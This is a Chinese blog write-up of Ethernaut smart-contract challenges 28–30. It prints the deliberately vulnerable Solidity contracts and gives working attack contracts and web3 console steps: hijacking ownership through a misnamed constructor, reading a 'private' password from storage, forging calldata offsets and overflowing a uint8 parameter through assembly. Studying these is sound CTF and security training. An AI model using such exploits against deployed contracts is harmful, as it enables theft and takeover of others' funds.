console.log("Wallet 余额:", walletBal);
console.log("Player 余额:", playerBal);

nipaste_2026-01-15_17-33-2

nipaste_2026-01-15_17-33-3

对应合约地址中的余额已经变成了 10^6。

28. Gatekeeper Three

Cope with gates and become an entrant.

Things that might help:
  • Recall return values of low-level functions.
  • Be attentive with semantic.
  • Refresh how storage works in Ethereum.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;

constructor(address payable _target) {
target = GatekeeperThree(_target);
}

function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}

function trickInit() public {
trick = address(this);
}

function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}

contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;

SimpleTrick public trick;

function construct0r() public {
owner = msg.sender;
}

modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}

modifier gateTwo() {
require(allowEntrance == true);
_;
}

modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}

function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}

function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}

function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}

receive() external payable {}
}

send 函数

eth Storage 理解

关卡 Gatekeeper Three。它结合了权限夺取、存储空间嗅探(Storage Proof)以及对低级函数 send 特性的深入理解。

要成为 entrant,我们需要连续通过三道门。以下是破解方案的详细拆解:

第一关:Gate One(身份与所有权)

1
2
3
4
5
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
  • 破解点: 我们需要让 msg.sender 变成 owner,但 tx.origin(你的钱包)不能是 owner

  • 方案:

    1. 你必须使用一个 攻击合约 来调用 GatekeeperThree。

    2. 调用 construct0r() 函数。注意这个函数名里有个数字 0,它不是真正的构造函数。任何人在任何时候调用它,都会把 owner 设为调用者。

    3. 操作: 攻击合约调用 target.construct0r(),此时攻击合约成为 owner。

第二关:Gate Two(获取通行许可)

1
2
3
4
modifier gateTwo() {
require(allowEntrance == true);
_;
}
  • 破解点: allowEntrance 必须为 true。这需要调用 getAllowance(password)

  • 密码陷阱: SimpleTrickpasswordprivate 的,且每次校验失败都会更新为当前 block.timestamp

  • 方案:

    1. 由于 password 存储在区块链上,它是透明的。
  1. SimpleTrick 的存储布局:target 是 Slot 0, trick 是 Slot 1, password 是 Slot 2。
  2. 操作: 在控制台使用 web3.eth.getStorageAt(trickAddress, 2) 获取当前的密码值。

第三关:Gate Three(资金平衡与转账失败)

1
2
3
4
5
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
  • 破解点 1: 合约余额必须 ether。
    • 方案: 直接向 GatekeeperThree 地址转账(该合约有 receive())。
  • 破解点 2: send(0.001 ether) 必须返回 false
    • 关键语义:send 目标是一个合约且该合约没有 receive() 或 fallback() 函数(或者手动 revert)时,send 会失败并返回 false
    • 方案: 我们的攻击合约(即 owner)不能实现任何接收以太币的功能。

攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperThree {
function construct0r() external;
function createTrick() external;
function getAllowance(uint256 _password) external;
function enter() external;
}

contract GatekeeperExploit {
IGatekeeperThree public target;

constructor(address _target) {
target = IGatekeeperThree(_target);
}

// 执行第一步:夺取所有权
function claimOwner() public {
target.construct0r();
}

// 执行第二步:创建 Trick 实例(也可以直接在控制台调)
function initTrick() public {
target.createTrick();
}

// 执行第三步:通过 GateTwo 和 GateThree
function solve(uint256 password) public {
// 先获取许可
target.getAllowance(password);
// 最后进入
target.enter();
}

// 关键:不写 receive() 或 fallback(),确保 target.send() 失败返回 false
}

攻击流程

1. 查看初始合约状态和部署攻击合约:传入 GatekeeperThree 实例地址。

nipaste_2026-01-15_18-12-5

nipaste_2026-01-15_18-13-2

2. 转账:向 GatekeeperThree 发送 0.0011 ether,满足余额要求。

使用 Metamask 向合约地址转账

nipaste_2026-01-15_18-14-3

图里面的发送了 0.001 ether,导致后面没有通过,实际需要转账的数字要大于 0.001 ether。

3. 夺权:调用攻击合约的 claimOwner()

4. 初始化:调用攻击合约的 initTrick()

5. 读取密码:在 Web 控制台输入:

1
2
3
4
5
6
7
const trickAddr = await contract.trick();
const pwd = await web3.eth.getStorageAt(trickAddr, 2);
console.log("Password is:", pwd);

//const pwd = await web3.eth.getStorageAt(trickAddr, 2);
//pwd
//'0x000000000000000000000000000000000000000000000000000000006968bcc8'

6. 最后:调用攻击合约的 solve(pwd)

最后结果如下:

nipaste_2026-01-15_18-24-2

29. Switch(未解)

Just have to flip the switch. Can’t be that hard, right?

Things that might help:

Understanding how CALLDATA is encoded.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}

modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
_;
}

function flipSwitch(bytes memory _data) public onlyOff {
(bool success,) = address(this).call(_data);
require(success, "call failed :(");
}

function turnSwitchOn() public onlyThis {
switchOn = true;
}

function turnSwitchOff() public onlyThis {
switchOn = false;
}
}

calldata 内存布局理解

这一关 Switch 的核心考察点是 ABI 编码中动态类型(bytes)的内存布局,以及如何利用偏移量(Offset)来绕过代码中的安全检查。

简单来说,你要通过 flipSwitch 函数去调用 turnSwitchOn,但 flipSwitch 有一个非常刁钻的检查:它会强制检查 Calldata 的第 68 字节开始的 4 个字节,必须是 turnSwitchOff 的函数选择器。

1. 核心逻辑分析

合约中有两个关键点:

  1. onlyOff 修饰符:它使用汇编 calldatacopycalldata第 68 字节(偏移量 68)抓取 4 个字节。它要求这 4 个字节必须等于 offSelector(即 turnSwitchOff() 的选择器)。
  2. **flipSwitch(bytes memory _data)**:参数 _data 是一个动态类型的 bytes。在以太坊 ABI 编码中,动态类型的参数由三部分组成:
    • **偏移量 (Offset)**:指向数据长度所在的位置。
    • **数据长度 (Length)**:数据的字节长度。
    • **数据内容 (Data)**:实际的字节内容。

2. 布局陷阱

通常情况下,如果我们调用 flipSwitch(data)

  • 00-03: flipSwitch 的选择器。
  • 04-35: _data 的偏移量(通常是 0x20,即 32 字节)。
  • 36-67: _data 的长度。
  • 68-71: 这里正好是 _data 内容的开头

修饰符 onlyOff 检查的就是这个位置(68-71)。如果我们要调用 turnSwitchOn(),这里本该放 on 的选择器,但检查要求必须放 off 的选择器。

绕过方法: 我们手动构造 Calldata,把 _data 真正的开始位置往后挪,让第 68 字节变成一段“无关紧要”的填充数据,专门用来通过 onlyOff 检查。

3. 构造攻击 Calldata

我们需要构造一个包含以下部分的 Hex 字符串:

  1. **flipSwitch 选择器 (4字节)**:0x30c13ade
  2. **偏移量 (32字节)**:我们不设为 32,而是设为 **96 (0x60)**。这意味着 _data 的长度和内容将从第 4 + 96 = 100 字节开始。
  3. **填充/占位 (32字节)**:全是 0。
  4. 伪造的选择器 (32字节)这就是关键! 在第 68 字节处放入 turnSwitchOff 的选择器 0x20606e3d 来骗过 onlyOff
  5. **_data 的长度 (32字节)**:4 字节(因为我们要调用 turnSwitchOn())。
  6. **真正的 _data 内容 (32字节)**:turnSwitchOn 的选择器 0x76227e12(后面补 0)。

攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ISwitch {
function flipSwitch(bytes calldata _data) external;
}

contract SwitchAttack {
function attack(address _instance) external {
// 1. 获取函数选择器
bytes4 flipSwitchSelector = bytes4(keccak256("flipSwitch(bytes)"));
bytes4 onSelector = bytes4(keccak256("turnSwitchOn()"));
bytes4 offSelector = bytes4(keccak256("turnSwitchOff()"));

/** * 构造构造恶意的 Calldata 布局:
* 位置 (byte) | 长度 | 内容
* 0 | 4 | flipSwitch(bytes) 选择器
* 4 | 32 | 偏移量 (我们设为 0x60, 即 96 字节)
* 36 | 32 | 占位填充 (全0)
* 68 | 32 | 伪造的选择器 (offSelector),用于绕过 onlyOff 检查
* 100 | 32 | 真正的 _data 长度 (4 字节)
* 132 | 32 | 真正的 _data 内容 (onSelector)
*/

bytes memory payload = abi.encodePacked(
flipSwitchSelector, // 0-3
uint256(0x60), // 4-35 (指向 100 字节处的长度字段)
uint256(0), // 36-67
offSelector, uint256(0), // 68-71 是 offSelector (后面补齐 28 字节 0)
uint256(4), // 100-131 (真正的 _data 长度)
onSelector, uint256(0) // 132-135 是 onSelector (后面补齐 28 字节 0)
);

// 使用 low-level call 发送构造好的数据
(bool success, ) = _instance.call(payload);
require(success, "Attack failed");
}
}

30. HigherOrder

Imagine a world where the rules are meant to be broken, and only the cunning and the bold can rise to power. Welcome to the Higher Order, a group shrouded in mystery, where a treasure awaits and a commander rules supreme.

Your objective is to become the Commander of the Higher Order! Good luck!

Things that might help:
  • Sometimes, calldata cannot be trusted.
  • Compilers are constantly evolving into better spaceships.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
address public commander;

uint256 public treasury;

function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}

function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}

绕过编译器

1. 核心矛盾分析

这个合约看似设下了一个“不可能”的限制:

  • 函数定义registerTreasury(uint8) 声明接收一个 uint8 类型的参数。在 Solidity 中,uint8 的最大值是
  • 胜利条件claimLeadership() 要求 treasury > 255
  • 漏洞点registerTreasury 的函数体里使用了 Assembly(汇编)。
1
2
3
4
5
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}

为什么这是个漏洞?

在 Solidity 的常规代码中,如果你传入一个大于 255 的数给 uint8,编译器或运行时的检查会拦截它(或者进行截断)。但是,汇编语言是不看类型的

  • calldataload(4):这行代码会从 calldata 的第 4 字节开始,直接读取完整的 32 字节(256 位) 数据。
  • 汇编直接把这 32 字节存入了 treasury 的插槽中,完全无视了函数签名里定义的 uint8

因此,你只需要通过一种“不诚实”的方式调用 registerTreasury,传入一个大于 255 的值(例如 256),就能改写 treasury

攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IHigherOrder {
function claimLeadership() external;
function treasury() external view returns (uint256);
}

contract HigherOrderAttack {
function attack(address payable _instance) external {
// 1. 获取函数选择器: "registerTreasury(uint8)" -> 0x211c85a1
bytes4 selector = bytes4(keccak256("registerTreasury(uint8)"));

// 2. 构造大于 255 的值,例如 256
uint256 valueToStore = 256;

// 3. 手动拼接 Calldata
// 这里不能直接用 IHigherOrder(_instance).registerTreasury(256),因为编译器会拦截 256
// 我们必须使用 abi.encodePacked 将 4字节选择器和 32字节的 uint256 拼接在一起
bytes memory data = abi.encodePacked(selector, valueToStore);

// 4. 使用低级 call 发送伪造的交易
(bool success, ) = _instance.call(data);
require(success, "Failed to register treasury");

// 5. 调用夺权函数
IHigherOrder(_instance).claimLeadership();
}
}

为什么在 Solidity 中这样能成功?

  1. 避开编译器检查:如果你直接在代码里写 registerTreasury(256),Solidity 编译器会报错,因为它知道 256 超过了 uint8 的范围。但通过 _instance.call(data),你绕过了编译器的静态类型检查。
  2. 利用 EVM 的“盲目性”
    • 目标合约在接收到你的 data 时,由于它用的是 calldataload(4),它不会管函数签名是怎么写的,它只会从偏移量为 4 的地方开始读取接下来的 32 个字节。
    • 你传入的是 uint256(256),在内存里它是 0000...0100
    • 目标合约读取了这 32 字节并 sstore 到了 treasury 中。
  3. 结果treasury 成功变成了 256,满足了 > 255 的条件。

nipaste_2026-01-15_19-32-0

注意题目要求我们将 commander 地址设置为 player 地址,所以如果通过合约运行则会将 commander 地址指向合约地址,所以这里在控制台执行操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 1. 计算函数选择器 (registerTreasury(uint8))
const functionSignature = "registerTreasury(uint8)";
const selector = web3.utils.keccak256(functionSignature).slice(0, 10); // 0x211c85a1

// 2. 构造大于 255 的参数(例如 256,十六进制为 00...0100)
const val = "0000000000000000000000000000000000000000000000000000000000000100";

// 3. 拼接完整的 calldata
const data = selector + val;

// 4. 向实例发送交易
await web3.eth.sendTransaction({
from: player,
to: instance,
data: data
});

// 5. 此时 treasury 已经是 256 了,直接夺取领导权
await contract.claimLeadership();

// 6. 验证是否成功
(await contract.commander()) === player;

nipaste_2026-01-15_19-32-2

  • Title: ethernaut chall Part.II
  • Author: henry
  • Created at : 2026-01-30 18:43:56
  • Updated at : 2026-01-30 18:45:20
  • Link: https://henrymartin262.github.io/2026/01/30/ethereum_challenge2/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments